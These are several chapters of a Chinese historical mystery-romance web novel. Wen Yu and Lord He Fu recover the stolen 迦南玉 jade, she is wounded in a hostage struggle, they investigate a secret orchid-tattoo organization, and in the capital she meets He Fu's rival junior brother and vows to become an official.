“一块用黑布包着的翠玉,会不会就是贺大人要找的迦南玉啊?”温余明知故问道。
“清透,翠绿,外圈还围着一圈楠木?”贺扶描述着迦南玉的样式。
温余佯装思考,道:“这我便没看清楚了。”
“那我们先找吧。”贺扶道。
“我找这边,其他交给贺大人。”温余蹑手蹑脚向左边的货架走去。
二人分工,不过一炷香的时间便将当铺的货架翻了个遍,却始终没有发现迦南玉的影子。
“那东西那么重要,会不会被藏在别的地方了啊?”温余靠在窗边,对贺扶道。
贺扶正准备回答,却见屋外闪过一个黑影。他立刻上前将温余按下,道:“有人。”
温余被贺扶圈着,缓缓将窗户打开一个缝隙,将耳朵贴上去,听外面那人的动静。
脚步急促,应当有要事要办,但仔细听他脚踏在地上的声响却十分虚浮,甚至有些飘飘然的感觉。
“当铺老板。”温余肯定道。
“单凭脚步便能听出只有一面之缘的人,温小姐当真厉害。”
温余抬头对贺扶眨眨眼睛,耍宝道:“我就说贺大人带着我不会吃亏的。”
“嘘。”贺扶将食指抵在温余唇上,道,“温小姐可能听出他去了哪里?”
温余又将耳朵贴过去听了一阵儿后道:“刚刚贺大人可有看清他往哪边去了?”
贺扶回答:“向右。”
“走了七百二十一步,后院的柴房?”温余道。
“刚刚听到了两声门响。”贺扶补充道,“看来门已经关上了,我们便快些过去吧。”
“好,走,杀他个出其不意!”温余摩拳擦掌。
二人一路摸到柴房门口,听到屋内传出的声音。
“大人,东西找到了。”温余听得出是当铺老板的声音。
他口中的大人会是谁呢?温余好奇。
很快另一个声音也响起:“哼,飞舟那个叛徒,竟敢带着迦南玉逃跑,果真是要钱不要命,落得个被蛇咬死的下场,还真是可笑。”
“是啊,还好我们先下手为强将迦南玉拿了回来,否则可就麻烦了。”这是老板的声音,“不过那位从京城来的贺大人似乎也是为了寻这东西而来,这又怎么办?”
另一人嗤笑一声,“东西在我们手里,他寻便让他去寻,反正也是白费力气。”
“是,大人。”老板恭敬道。
随后,门外二人便听那个被称为“大人”的似乎要走,贺扶闪身去堵住另一边的窗户,温余一脚踢开了门,对上当铺老板错愕的神色。
“你!大人快走!”老板喊道。
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另一人带着一张猞猁面具,一打开窗便被一脚踹翻在地上。
他捂着胸口,仰视着对面那人。
圆月之下,一身翠竹锦衣,一手背在身后,一手放在腹前,身长玉立,芝兰玉树,如同自月上落下的仙子,又似被贬凡间的谪仙。
他一口暗血吐出,叫出他的名字:“贺扶。”
贺扶跃过窗沿,开口问他:“你认识我?”
“贺扶?!”当铺老板被温余拿着扫把架在墙上,不断挣扎着。
“贺大人快点抓住他!”
温余回头看向贺扶,却见他忽得睁大双眼,“小心!”
电光火石间,温余只感到眼前寒光一闪便被老板拿刀持住,锋利的刀刃破开皮肉,紧紧贴着她的脖子,鲜血顺着白皙的脖颈缓缓流下。那人手上青筋暴起,似乎只要稍一用力便可以将她的脖子割断。
“别动,否则我就杀了她!”老板恶狠狠道。
贺扶一手按住窗户,防止那人逃走,眉头紧锁:“你要如何?”
那二人对视一眼,老板先开口:“放大人走。”
“好。”贺扶立刻答应。
温余猛得踩在老板脚上,打算乘机逃脱,想着绝不能让那人溜走,但身后之人好似感觉不到痛一般,这一踩反倒让他的力气更大。
“你也别动。”老板凑到她耳边,她甚至能闻到他嘴里的臭味。
“你……”温余感受到刀子又往里走了几分,流出的血更多了,甚至染红了她胸口的衣服。
贺扶放开手,见面具人往老板那边挪去,应该是打算走正门。
“好,你先放了她。”贺扶道。
老板的手慢慢放松,温余被刀划开的伤口处疼痛也愈发清晰,她强撑着意识,等刀彻底离开自己的脖子后,脚下用力一踩,刚刚在混乱中被丢在地上的扫把被翘起,狠狠打在老板身下。
“啊!”老板惊叫一声,手中的刀飞出,被贺扶飞身接住,然后奋力往前一扔,直直插在即将飞上屋檐的面具人的大腿上。
面具人虽疼痛难忍,但还是强撑着逃出了当铺。
被打中要害的老板捂着那处倒在地上打滚,温余也被他用力一推趴在了地上。
“温小姐!”贺扶没了风度,快步上前扶起温余,双手瞬间染上了鲜血。
“我,回去一定要学武……”失去意识的前一秒,温余心中只有这一个想法,下次再也不要被人拿刀架着了!
等启蛰闻讯赶到时,只见贺扶环着温余跪在地上,神色呆愣,双目通红。
“大人,启蛰来晚了……”启蛰立刻上前。
“……”
贺扶还是那副神情,全然听不到启蛰的关切。
启蛰又注意到温余身上的血,震惊道:“野丫头,喂,你怎么了?”
“大人……”启蛰惊慌失措,贺扶却始终一言不发,“大人!”
“别叫了,”一白衣女子上前,面无表情道,“先救人。”
启蛰这才伸手打算将温余从贺扶怀中拉出来,却被贺扶一把拍开。
“大人……”
“别碰她!”贺扶吼道。
“大人!我……”启蛰被白衣女子推开,“霁尘君……”
宋拿云用力掰过贺扶的脸,让他看着自己,冷声道:“不想让她死,就放手。”
贺扶静了片刻,这才乖乖松手。
白衣女子起身,对启蛰道:“将那人带回府衙,严刑拷打。”
启蛰担忧地看了一眼贺扶,道:“是。”
14. 迦南玉案(六)
十五年前的一个冬夜,正值上元节,京城之中,四方明亮。
其一在熙熙攘攘的永安街,人人手提花灯,欢声笑语。其二在绕城一周的归一河,河道中各式各样的花灯载着人们的愿望缓缓飘向下游。其三在头顶的夜幕之上,明灯众多,飘向天际。
最后一处,在绍王府。
冲天的火焰中,儿时的贺扶正怀抱着一个衣襟染血,早已失去气息的妇人,身边是府中侍卫、家仆的尸体,三个时辰前他们还在准备今晚府中的晚宴。
这一夜,绍王府遭贼人烧杀,府中上下仅余绍王独子逃过一劫。这一夜,是贺扶的生辰。
“大人!大人!大人——”
贺扶是被启蛰用力摇醒的。
“大人你醒了!”
见贺扶醒来,启蛰心中的大石头算是落了下来。贺扶昨夜一副中了邪的样子,还没回到府衙,在马车上就晕了过去。吓得启蛰上蹿下跳,吱哇乱叫,要不是宋拿云阻止,他怕是都要去请道士来驱邪了!
贺扶坐起身,启蛰便拿着帕子上前去擦他额上的冷汗,边擦边道:“大人你昨夜可吓死启蛰了,一下子就晕了,我还以为出了什么事,还好霁尘君在……”
启蛰将帕子投进一旁的水盆里,浸了浸后将它拧干,道:“不过大人您昨夜究竟是怎么了?就那么愣愣的跪着,抱着温小姐不放手。”
贺扶头痛欲裂,揉了揉眉心,问启蛰:“温小姐怎么样了?”
启蛰将帕子搭在架上,摇了摇头:“启蛰昨晚一直守在这里,不太清楚。”
见贺扶要起身,启蛰立马上前按住,担忧道:“不能起,您还伤着呢!”
贺扶轻轻拍了拍他的手,解释道:“我没受伤,只是一时不适,还是温小姐的伤要紧些。”
启蛰一脸不信,贺扶无奈将双臂展开,道:“你若不信,自己看看?”
等启蛰上上下下、里里外外将贺扶检查完毕,没见到什么伤处后才放下心来,扶着贺扶站起。
“有霁尘君在,那丫头肯定没事。”启蛰不顾贺扶劝阻,一路扶着他来到温余房门前,便听屋内传来温余的声音。
“霁尘君,你生得真美,能否与我交个朋友?”
“……”
“霁尘君,你可是当仵作的?好巧,我会打棺材,咱们肯定有共同话题!”
“……”
启蛰一脸菜色,看向贺扶道:“我就说吧,她肯定没事,还敢调戏霁尘君呢!”
话音未落,屋里便传出一声叫喊。
贺扶启蛰一人一手将房门推开,由于力气太大,门板碰撞发出“砰”的一声。
屋内,宋拿云冷眼看着门口两人,“门坏了,记得赔。”
温余也从宋拿云身后歪过头,看着担忧的两人,问:“你们,怎么了?”
贺扶收回手,轻咳一声没有说话,启蛰倒是抱起双臂,没好气道:“怕你死了,急着给你奔丧。”
“嘿,我伤是重了点,你怎么还咒我呢!”
温余愤愤,想要起身去给启蛰一拳,却被宋拿云一把按在床上,“不想掉脑袋就别动。”
“哦。”温余乖巧坐好。
启蛰啧啧两声:“终于有人能治你了。”却被宋拿云睨了一眼。
启蛰:“……”
贺扶看了看躲在自己身后的启蛰,上前对宋拿云拱手道:“多谢霁尘君。”
“我没救你。”宋拿云将温余脖颈上的绷带绑好,轻声问她,“紧吗?”
温余想摇头,但脖子却动不了,只能露齿一笑:“不紧。”
“多谢霁尘君救了温小姐。”贺扶解释道。
宋拿云洗好手,路过贺扶的时候上下看了他几眼,没有说话。
贺扶被看得心虚,又见宋拿云对启蛰说:“后厨熬了药,去拿。”
启蛰点头:“是,霁尘君。”然后头也不回的离开了。
贺扶知道,他是最惧怕宋拿云的。
“半个时辰后来书房。”
说罢,宋拿云关上门离开,只留贺扶和温余二人面面相觑。
“这位霁尘君说话,当真简洁。”温余率先开口。
“确实。”贺扶上前坐在榻前的圆凳上,“霁尘君虽沉默寡言,但待人真诚。”
“我看出来了,她刚刚为我上药时虽面冷话少,但动作却十分温柔,而且……”温余笑着,活像个被美人摄了心魄的痴汉,“她生得当真好看!”
“咳,温小姐注意仪态。”贺扶提醒道。
温余收起笑脸,正了神色问贺扶:“那个当铺老板抓到了吗?”
“启蛰已经将他关押,姚知州也派人将当铺查封。”贺扶道。
“那个面具人呢?”比起当铺老板,那个神秘的面具人应当更重要些。
贺扶摇头道:“没能抓到,不过多亏了温小姐,他的腿应当伤得不清。”
温余不由有些惋惜,“若是我没被那个贼眉鼠眼的家伙挟持,说不准就能抓住他了。”
贺扶柔声安慰道:“温小姐不必自责,你已经做得很好了。”
“不行!”温余一拍大腿,看着贺扶郑重其事道,“还请贺大人尽快教我习武,下次定不能再被别人拿刀架着了。”
贺扶见温余一脸慷慨赴死的样子,不由失笑:“还是等温小姐养好伤再说吧。”
温余摸了摸自己的脖子,道:“也是哦,我可不想丢了脑袋。”
贺扶轻笑,又将手探入袖中,道:“对了,还有一事。”
温余凑上前去看,好奇道:“何事?”
贺扶从袖中拿出一条翠色珠串,正是温余当日随手当了的那条。他牵过温余的手,将珠串戴在他手腕上,动作轻柔。
他道:“随身之物,若非要事,莫要随意丢弃。玉石有灵,说不准还能为温小姐挡挡灾害。”
温余将手抬起,借着窗外的光看了看这条珠串,还是一样剔透,她见贺扶一脸认真,不由一阵心虚,道:“这不是玉,是假的。”
贺扶诧异道:“玉质细腻,光泽柔和,有细墨星淡之色,乃碧玉上品,怎会是假的?”
温余放下手,用较长的袖子盖住珠串,解释道:“这是我拿石英岩仿制的。儿时虚荣,见旁人有的自己也想有,又没人给我,就自食其力造了个赝品,一直戴着也没丢。”
“原来如此,不过既已随身戴了这么久,就算是假的也有了灵性。物不在真假,而在其心。”
“管它真的假的,瞧着好看就行!”温余自然也豁达。
见时辰不早,贺扶便叮嘱温余:“那温小姐好好休息,贺某先去书房了。”
温余点头:“好,贺大人慢走。”
贺扶出门后,温余小心翼翼地躺在床上,抬起手开始欣赏珠串。
不愧是我,造的假连贺扶都能骗过,不像那假的迦南玉,一眼就看出来了!
温余笑得开心,忽然想起自己第一次见宋拿云时的情形。
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她猛得坐起,一不小心扯到了伤口,疼得龇牙咧嘴。自己还没问宋拿云当晚封口的原因呢!
她蹬上鞋就推门往书房跑。到了书房门外,她便悄悄蹲着,听屋内三人谈话。
“飞舟盗走迦南玉后想独占迦南玉,所以将真玉藏在腹中,并且仿造了一块假玉,想要交给接头人,没想到却意外被蛇咬伤,毒发身亡。接头的那位面具人便潜入府衙从飞舟身上取走了假玉。却被贺大人截获,那面具人逃走,只留下了中间人当铺老板。”
姚知州叹了口气,“可惜,我们赶到的时候,那老板便服毒自尽了,除过他额角的剑兰花纹再无其他收获。”
宋拿云补充道:“飞舟额角也有,被黥印盖住了。”
“那府衙的那位奸细身上可有?”贺扶问道。
“有,不过是在腰间。”姚知州答道,“那人嘴牢得很,严刑拷打,始终没有透露一点消息。”
“那便是了,”贺扶垂眸,“根据现世的剑兰花纹组织之人,这花纹共有额角、手腕、脚腕、腰间四处。额角大多是死士,手腕则行踪身份不定,脚腕为密探,腰间则是有一定身份之人。”
“这究竟是个什么组织?规模如此之大,人员如此之繁杂。”姚知州眉头紧蹙。
“啊!”
众人讨论间,忽闻门口一声惊呼。好在宋拿云眼疾手快,一把将温余捞起。
温余站稳后躲开三人齐刷刷看向自己的视线,干笑几声道:“好、好巧啊,我路过的。”
屋内三人默契地没有出声,温余低下头,转了转珠串。
“温小姐不是在屋中休息吗?怎么出来了?”姚知州问道。
温余抬头笑笑,“觉得有些闷,出来透透气。”随后又摆手解释,“我没偷听你们说话。”
“……”
“好吧,就听到了一点点。”温余拇指和食指捏起,想让自己的话可信一些。
“……”
温余垂头,破罐子破摔道:“好吧,我都听到了,但我不会说出去的,我发誓!”
自温余出现后,贺扶便勾起唇角,听温余辩解,他的唇角便越来越弯,此刻见她伸出三指举过头顶,一脸坚毅,他终于是忍不住笑出了声。
“温小姐不必如此,若非你受伤需要休息,我们定是会叫上你一起的。”
温余的笑舒展了些,道:“那就好那就好。”
见此,姚知州也笑道:“温小姐伤势可还要紧?可莫要因为议事误了身体。”
温余摆手,“我没事,多谢知州大人关心。”
姚知州笑得和蔼,道“没事就好,受了伤要好好休息才是啊!”
姚知州目光温柔也带了些对待小辈的宠溺,温余心中不由发酸。
“衣服长了。”宋拿云忽道。
其余两人皆看向温余拖地的衣摆,确实长了。温余原本的衣服被血染脏,洗不干净了,宋拿云便为她换上了自己的衣服,但宋拿云身量比温余高得多,她的衣服穿在温余身上自然也大了很多。
刚刚温余就是因为踩到衣摆才栽进门的。
“我这就命启蛰去买几件。”贺扶道。
姚知州也出声道:“我家囡囡未出阁时还有几件没穿的衣服,若是温小姐不嫌弃,我这就去给你找来。”
温余正在斟酌却见一位衙役飞奔而来。
他急忙道:“大人,钱则被杀了。”
钱则,就是那位府衙中的奸细。
15. 迦南玉案(末)
闻言,贺扶和姚知州先后跟着他出去。
见宋拿云也要走,温余伸手拉住了她:“霁尘君!”
宋拿云回头,平静道:“作甚?”
“我突然想起一件事还没问您。”温余还是好奇她为何不许自己告诉贺扶那晚之事。
“说。”言简意赅。
温余也便开门见山:“您那晚为何不许我告诉贺大人?”
宋拿云将整个身子转过来,正对着温余,道:“左晋律法,不得伤害尸体。”
“那您为何还要那么做?”温余心下疑惑,这不就是知法犯法吗?身居高位,以身作则,不应该啊。
宋拿云垂下眸子,清冷的面上多了些暗暗的惆怅,她道:“若是不那般做,便寻不到答案。”
也是,温余暗暗赞同。
不许伤害尸体,那仵作只能依靠外在的查验来判断死者的死因,难免会出缺漏,以至死者无法沉冤昭雪。
可是自古以来都倡导身体发肤受之父母,又怎能允许这般行事普遍推行呢?
如此看来这般转变道阻且长啊!
“问完了?”宋拿云冷声问。
“嗯,多谢霁尘君解惑,我们快些走吧。”温余顺势想要拉着宋拿云的胳膊,却被她灵巧躲过。
她似乎不喜欢旁人触碰?
温余尴尬笑了笑,道:“霁尘君先请。”
等二人到了地牢,钱则的尸体已经被平放在地上了。
“一刀毙命。”宋拿云只看了一眼便得出了结论。
“可有看到可疑人进出?”贺扶问身旁的一名狱卒。
那狱卒摇了摇头,道:“我们方才就在牢中巡逻,只一个转身就见钱则身上插了刀子,上前去探,他就已经没有鼻息了。”
闻言,在场众人都眉头紧锁。
悄无声息的潜入,迅速精准的灭口,这人的能力远比他们想象的要强得多。
“这又该怎么办呢?”姚知州愁眉不展。
贺扶轻叹一口气,道:“如今也寻不到什么线索,迦南玉既已找到,那便先回京城复命吧,距离皇后生辰也不远了。”
宋拿云也点头,如今的情况也只有先将迦南玉送回去,再去追查剑兰花纹组织的事情了。
“回京啊?”温余探头问道。
“没错,温小姐可是还未去过京城?”贺扶笑问。
“确实没去过,据说京城极其繁华,百姓众多,而且权贵遍地,如此一说倒是期待。”
据说京城之繁华,不分昼夜,屋宇星罗棋布,还有宫阙万重,当真是令人向往。
贺扶却有些担心,“京城鱼龙混杂,温小姐玩乐之余还是要小心的。”
温余被点醒,也对,人多的地方确实更容易出事。
“嗯,”温余点头道,“我知道,我会时刻谨言慎行,不给贺大人您添麻烦的!”
“那我们明日一早就出发,温小姐的身体可还能撑得住?”贺扶关切道。
温余拍拍胸脯,道:“贺大人放心,没问题。”
见温余点头,他又将目光转向宋拿云,问她:“霁尘君可要同行?”
宋拿云淡淡看了他一眼,道:“不去。”
贺扶噤声,他忽得想起,在他到扬州前,章执曾传信于他,说不日启程回京,算算日子,怕是已经回了京城。
看来他二人之间还是未曾说清,贺扶暗暗叹气。
见贺扶叹气,温余看了看宋拿云又看回贺扶,这是发生什么了?
……
湖州到京城的路程原本是要十五日左右,不过贺扶这一路上快马加鞭日夜兼程,最后竟是提前了两天入京。
过了城门,马车上了京城最为繁华的永安街,一路向北而行,目的地便是贺扶的住处,绍王府。
温余伸出头兴奋地看着车外的景色。
叫卖的小贩、过路的商人、卖菜的牛车还有来往闲逛的百姓,花灯胡饼,绫罗绸缎,还有满街的叫卖声此起彼伏,温余听了也开心。
“喂!”启蛰坐在车前,一甩马鞭,对她道,“把头缩回去,一副乡下人进城的样子,丢不丢人?”
“你管我,丢的又不是你的人!”温余回怼道。
“这可是大理寺的马车,丢的就是我家大人的人,赶紧把头缩回去!”启蛰甩马鞭的力道都大了些。
“就不,你家大人还没说什么呢!”温余向启蛰做了个鬼脸。
车内沉默许久的贺扶轻笑一声道:“温小姐若是喜欢,可以等安置好了再上街游玩。将头伸出马车怕是有些危险。”
贺扶的话说得有理。
温余又不舍地看了几眼后,将头缩了回去,“贺大人,您可觉得我丢人?”
“当然没有,遇到没见过的东西,自然是要多看几眼的。”
得了贺扶的话,温余更加理直气壮,对外头的启蛰喊道:“听到没有,你家大人可没觉得我丢人!”
“闭嘴,信不信我把你扔下去!”启蛰怒道。
“不信,你肯定不敢!”
听二人又斗起嘴来,贺扶无奈中又带了些宠溺,这一路吵吵闹闹的,竟是多了些生气,枯燥的回程路途也觉得不那么难捱了。
马车穿过闹市,行过小巷,最后停在了一座气派的宅院前。
“绍王府?”温余将门上的金字牌匾念出来,“好生气派的宅子啊!”
贺扶下车后扶着温余,“温小姐可喜欢?”
“喜欢,让我在这里住一辈子也乐意!”温余欣喜道,她可从未住过这般大、这般精致的地方。
“切,想得美。”等贺扶进门后,启蛰泼了一盆冷水,“还想住一辈子?等我家大人也觉得你烦了,就把你赶出去睡大街。”
“哼,我也只是顺口一说,我日后可要住比这还气派的宅子!”温余不服道。
“痴人说梦。”
“不信等着!”
“等着就等着!”
二人眼神激战间,一位伶俐的女郎来到两人面前。她对二人福身后,对温余道:“温小姐,大人命我来带你去看寝屋。”
“好。”温余欣然答应,又冲启蛰哼了一声后跟着女郎离开了。
“我名葛巾,日后便负责温小姐的起居了。”葛巾柔声道。
“葛巾?牡丹花?”温余好奇道。
葛巾点了点头,“温小姐聪慧。”
葛巾带着温余穿过连廊,来到一处精致的小院门前。
“这便是温小姐日后的居所了。”葛巾推开院门,院中的几树粉色海棠便出现在温余面前。
那海棠定是人精心养过的,娇艳欲滴。
温余一时愣住了,却听葛巾捂嘴笑笑:“大人对温小姐甚是上心,这可是大人前些日子寄信给丞相,特地从宫中移栽回来的。”
“啊?”温余彻底愣住,指指院中海棠又指指自己,不可置信道,“为了我,移栽过来的?”
听她音调都提高了不少,葛巾笑得更灿烂了,连连点头,“没错,温小姐快些进去吧!”
在葛巾的生拉硬拽下,温余走进了屋中。
屋中布置简洁,却又不乏小心思。
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翠粉纱帐相配,颇有一种进了海棠花室内的感觉。
葛巾又道:“大人说这处别院没有名字,可交由温小姐起一个名字,温小姐什么时候想好了,便记得告诉我,我去找工匠做牌匾。”
说罢,葛巾便屈身退出门去。
温余四下看了看这房子,心中百味杂陈。
这贺扶对自己也太好了吧……
她看向窗外,一枝靠窗的海棠穿过窗户逸了进来,屋内不用熏香便有淡淡的海棠香气。
许是被香气薰昏了头,又或是这几天赶路过于辛苦,温余大大地张了个哈欠。
算了,睡觉!
这一觉睡得极好,一夜无梦直到第二天一早。
“温小姐。”葛巾的声音响起,“早膳已备好,大人正等您去前厅。”
温余穿上鞋,揉了揉眼睛,道:“知道了。”
等她穿好衣服外出,葛巾已不见身影,许是去做些杂七杂八的活计了。
温余活动活动身子正要往外走,便听一旁传来一道男声,那声音似乎是一个少年,却又过于轻浮。
他道:“这位新朋友,回头。”
温余转头看去,只见那少年一袭大红锦袍,墨发被镶玉银冠束成马尾,发顶落了几瓣海棠,额上是一条较衣服颜色浅些的鹤顶红绣金抹额,眉眼张扬,身上还挂着许多银器物件、玛瑙珠宝,活像一只招摇过市的花孔雀。
温余心想这人一身贵气,还能随意进入贺扶宅邸定不是什么一般人,放正了语气问他:“你是何人?”
听温余搭话,那人笑得更开心了,他迈着大步来到温余面前,伸手挑起她耳边的一缕秀发,道:“我是何人?难道我那师兄没告诉你?”
说罢他又失望的哈了一声,喃喃道:“果真觉得我拿不出手竟连介绍都没有。”
什么意思?什么叫拿不出手?温余在脑内想了想,贺扶的师兄是当朝首辅没错,可他的师弟是谁,好像从未有人告诉过她。那她怎么知道?
“许是贺大人觉得您重要,想让您亲口告诉我呢?”温余歪了歪头,冲他露出个友善的笑来。
那少年似是好奇地盯着她看了许久,直到温余都觉得不好意思了他才又轻笑一声。
他的声音是少年人的清澈,仿若山中之清风拂过,这一声轻笑更是惹人心荡,他道:“我重要?我还是第一次听人这么说,果真是初生牛犊。”
温余听的一头雾水,这人看着就是这皇城中的贵公子,再加上这朗月容颜,说是受万人追捧都不为过,又是贺扶师弟,当朝丞相的弟子,怎么可能不重要?
“那您是……?”温余小心翼翼道。
少年唇角勾起,“尚卿尚渡凌。”
“尚卿……?”温余点了点头,“好名字!好听!”
尚卿乐了,“你当真觉得好听?”
温余真诚点头,初入京城时贺扶便说过,这京中权贵甚多,说不准怀有目的接近,万万不能被抓到把柄。所以在待人和善的同时,怀有提防之心。
面前这人虽看起来没有恶意,但留个心眼始终是没错的!
少年凑近了些,身上的香料气味浓郁却不呛人,他问:“那你呢,新朋友,你叫什么名字?”
“温余。”温余道。
“余者,饶也,内里丰饶,果真好名。”
尚卿说得认真,温余暗暗往后退了些,道:“方才贺大人唤我去用早膳了,尚公子可要一起?”
尚卿想了想点头:“好啊,正巧我也很久没有见过我这位师兄了呢!可是……思念得紧啊!”
16. 皇后生辰(起)
温余正要往前走,却忽然又被尚卿叫住,她回首:“尚公子可还有事?”
尚卿笑着自怀中拿出一件物什,温余还为看清全貌只见一道亮光在阳光下闪着,凑近一看是一支簪子。
“既然是交朋友那便得有见面礼,哝这个给送给温姑娘。”他将手中那簪子往前一递,是一支金镶翠叶耳挖簪,粗粗看着就价值不菲,更别说其制作精细程度需得耗费多少工匠时日。
这倒是让温余犯了难,她可什么都没准备,更何况她周身的东西都当也抵不过这支簪子,想了想她还是拒绝:“多谢尚公子好意,这礼物我便不收了,不需要见面礼我们也可以是朋友。”
尚卿眯了眯眼,“温姑娘可是担心没有相配的回礼?”
见尚卿已然猜出,温余也不再掩饰,点头道:“确实如此,但这东西我是真的收不得,尚公子还是拿回去吧!”
“谁要你的回礼?这东西在我府上可是一抓一大把,我给你你就拿着,不必想些有的没的。”尚卿直接伸手将簪子簪在温余发间,退后打量片刻点了点头,“不错,就这么簪着吧,可别还给我。”
温余忽然觉得这人不像她之前所想的那样,这种语气与神态,是上位者特有的高傲与随意。虽然他说这簪子是随手拿的,但价值却不是一个普通人随便就能负担得起的,如今看他的意思自己若是不收下反倒更得罪人,只能先收着,等到日后再攒钱还他了。
“那便多谢尚公子了。”温余道。
见她收下,尚卿才又露出笑来,“好了,你不是说要去用早饭吗?走吧。”
等到了前厅,温余见贺扶已然落座,许是今日回府放松些,他只穿了一件翠色素衣,墨发被木簪挽起了一些,其余如瀑般落下,好一派温润君子。
“温小姐来了,快些……”贺扶的话在看到温余身后跟着的尚卿后顿住了,那神情不似见到老友的欣喜诧异,反倒有一种如临大敌的感觉。
温余觉得不妙。
果然,尚卿似笑非笑地走上前看着他,道:“师兄,不请自来,可愿给我添双筷子?”
他虽嘴上说得客气,但动作却丝毫没有犹豫,直接坐在贺扶对面。
贺扶见温余站在原地,先唤她坐下后才看向尚卿,寒暄道:“渡凌今日倒是来得突然,可惜我未能准备些什么。”
他的声音还似先前温柔,但温余却察觉出了不对劲。
“师兄自然不必准备什么,因为我今日前来是为了见见这位新朋友的,而且我们已经互相认识了,她还邀请我来此用膳,你说是吗,温姑娘?”尚卿一脸笑意地将难题丢在温余头上。
她迟疑着点头:“方才确实已经互相认识了。”
贺扶脸色微变,但很快便笑道:“这是我的疏忽,这位是我的师弟尚卿,我还未向温小姐介绍,不过你们既已熟识,那便极好,温小姐在京城好友甚少,还望渡凌能多多照顾她一些。”
尚卿的脸色也变得不自然起来,“自然,师兄整日忙着忙那,就算是空闲时间也被宫中那些女眷缠着讲学,温姑娘日后若是有需要帮忙的地方便不必麻烦师兄了,来找嘉亲王府找我便好。”
温余忽觉如坐针毡,这两人之间的谈话不似老爷寒暄,倒似暗暗较劲,着实有些吓人了。
“无事,我应该不会有什么需要帮忙的,劳尚公子费心了。”
听温余这么说,尚卿看向了她,道:“看来温姑娘也是更喜欢师兄呢,不过有些可惜,这京城中喜欢师兄的姑娘太多,但大多都被师兄拒绝了,温姑娘可莫要也被拒绝了,暗自神伤啊!”
温余觉得这人太不对劲,“这倒没有,只是……”
贺扶出言打断:“渡凌,既是来用膳那些其他的话便等之后再说吧。”
尚卿又看向贺扶,感叹道:“师兄果真是才学出众,竟连礼仪都学得这般好,我甘拜下风啊!”
贺扶没有回答他,只是拿起白瓷勺将碗中的粥送进嘴里。
温余觉得这餐桌上的氛围堪比审讯,用了此生最为迅速的速度将早餐吃完后起身告辞离开。
太恐怖了,若是她再不走,这战火都要烧到她身上了!
不知为何,那尚卿对上贺扶便总是一副阴阳怪气的模样,就算是夸赞的话从他嘴里出来都变得奇怪了。温余不知这两人之间发生了什么,自然也不好去问,这是人家的私事。
只是可恨,不知道什么时候才能攒够钱把这簪子的债给还了。
念此,温余不由叹了口气,这得到猴年马月啊!
“没长眼睛啊!往人怀里撞!”
思索间,温余竟迎面撞上了一个人,听着炮仗似的语调她便认出来了,是启蛰。
不过温余此刻没心情和他斗嘴,启蛰发觉出了温余的不对劲,原本抱着的手臂松了些,他看到温余手中拿着的簪子,问:“这东西你哪儿来的?不会又是大人送你的吧?”
启蛰的语气酸酸的,像是受了气的小媳妇。温余解释道:“不是贺大人送的,是一位……”她也不知道该怎么称呼尚卿,想了半晌才道,“新朋友送的。”
“新朋友?”启蛰的语调拔高,手都放了下来。他一个箭步上前握住温余的肩膀,“什么朋友?你才刚来京城一天,怎么就交到新朋友了?还送你这么贵重的东西?我告诉你啊,这京城人精多得很呢,你可别被人卖了还帮人数钱!”
一顿输出后启蛰才忽然想起,“不对啊,你都没出过府门,怎么就交到新朋友了?葛巾也不会送你这样的东西,那这是谁送你的?老实交代!”
见他那副老父亲担心女儿的模样,温余扯出一个笑来,“他说他叫尚卿,是贺大人的师弟。”
“尚……嘉亲王?!”
“嘉亲王?”温余也有些诧异,又想起方才尚卿与贺扶针锋相对时确实提说过一句嘉亲王府,如此想来也是不奇怪了,能随便把这等宝物送人,定是个王孙贵族。
“完了完了……”启蛰如临大敌,“这人怎么听着风声就往这儿跑啊!”
“你可知这位嘉亲王与你家大人之前有什么难以言说的往事?”温余看他的神态着实奇怪,又念及方才桌上的那场“酣战”,心中对二人间的关系愈发好奇。
“什么难以言说啊,”启蛰又抱臂,面上气愤道,“还不是我家大人太过优秀,那嘉亲王嫉妒,处处都要和我家大人比较,又处处都比不过,所以只能挑刺了,说话还总是阴阳怪气的让人听了讨厌!”
温余顿悟,原来如此啊,只是那嘉亲王和贺扶从外表上看都不是一个路子的,有什么好比的?
“那你要不要去帮帮你家大人?”温余用肩膀碰了碰启蛰。
启蛰无奈摇头,转身找了个台阶坐下,将衣摆一甩,有些郁闷道:“我家大人不许,他说嘉亲王不过孩童心性,让我不必与他置气,而且他贵为王室,也怕我冲撞了他自己遭了罪。”
温余也跟着他坐下,撑着脸看向他:“确实,人家可是王爷诶!”
“王爷了不起啊!”启蛰嘟囔着。
“位高权重,就是能仗势欺人,自古就有啊!”
温余这一说,启蛰直接暴起,“你哪边儿的啊?怎么还长他人志气,灭自己威风呢?”
“好嘛好嘛,说着玩儿的。”温余闷声道,停了片刻她又靠近启蛰道,“你说我有没有可能也成为那样的人?”
“你也想仗势欺人?”启蛰撇撇嘴,不屑道,“真是看错你了!”
见启蛰鄙视的目光投来,温余知道他误会了自己的意思,连忙解释:“诶我不是这个意思,我的意思是我……
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想当官?”
“当官?”启蛰哈了一声,“难。”
“有多难?”温余问。
“难上加难!”说罢,启蛰谨慎地往四周看了看,见没人后才凑近温余悄声道,“你可知当朝入仕为官要什么条件?”
“应试!”温余自然道。
“那应试的都是什么人?”启蛰又问。
“有学识的人。”温余顿了顿,“男人。”
“所以啊,寒门要想出贵子需得学习,但也仅限于‘子’,女子是不能参加科举的!所以你才难嘛!”启蛰拍拍温余的肩,勉强算作安慰。
“可是,这朝中是有女官的啊!”温余反驳道,却又被启蛰泼了一盆冷水,“你也不看看那些女官家里都是做什么的,再说了就算是当了女官,最多也只是做些端茶送水的小活,又成不了大事。”
“你若是想试试,我就勉强去请我家大人出面,去宫里说几句,让你混个女官当着玩玩儿!”
温余站起身,“谁要玩儿?我是认真的!我真的想当官,为民请命的那种!”
启蛰伸出一支手指在她面前晃了晃:“难如登天。”
启蛰说得肯定。听他这般说温余心中也不由泛起几丝怀疑来,当真是自己想的太过简单,以为逃出家门便是脱离了束缚,从此便可以随意闯荡,寻找伯乐,平步青云,但当她走出家门后才发现,那不过只是有形的枷锁,更大的枷锁在世上,在人心。
“再难我也要试试!”温余猛得加大音量,吓了启蛰一跳,她看着启蛰,正色道:“路都是人走出来的,前无古人我便当这个古人,后无来者我便为后人开辟这条路,让它熙熙攘攘。”
“我说能行就能行!”
启蛰也知道自己劝不动,自然也懒得劝,起身拍拍背后的土后无奈道:“随你吧,又没人拦着你。不过到时候撞了南墙,可别哭着回来,我一定会狠狠嘲笑你的!”
“谁也拦不住我!你也别想嘲笑我!”温余叉腰,一脸神气,却被身后突然响起的声音吓了一跳。
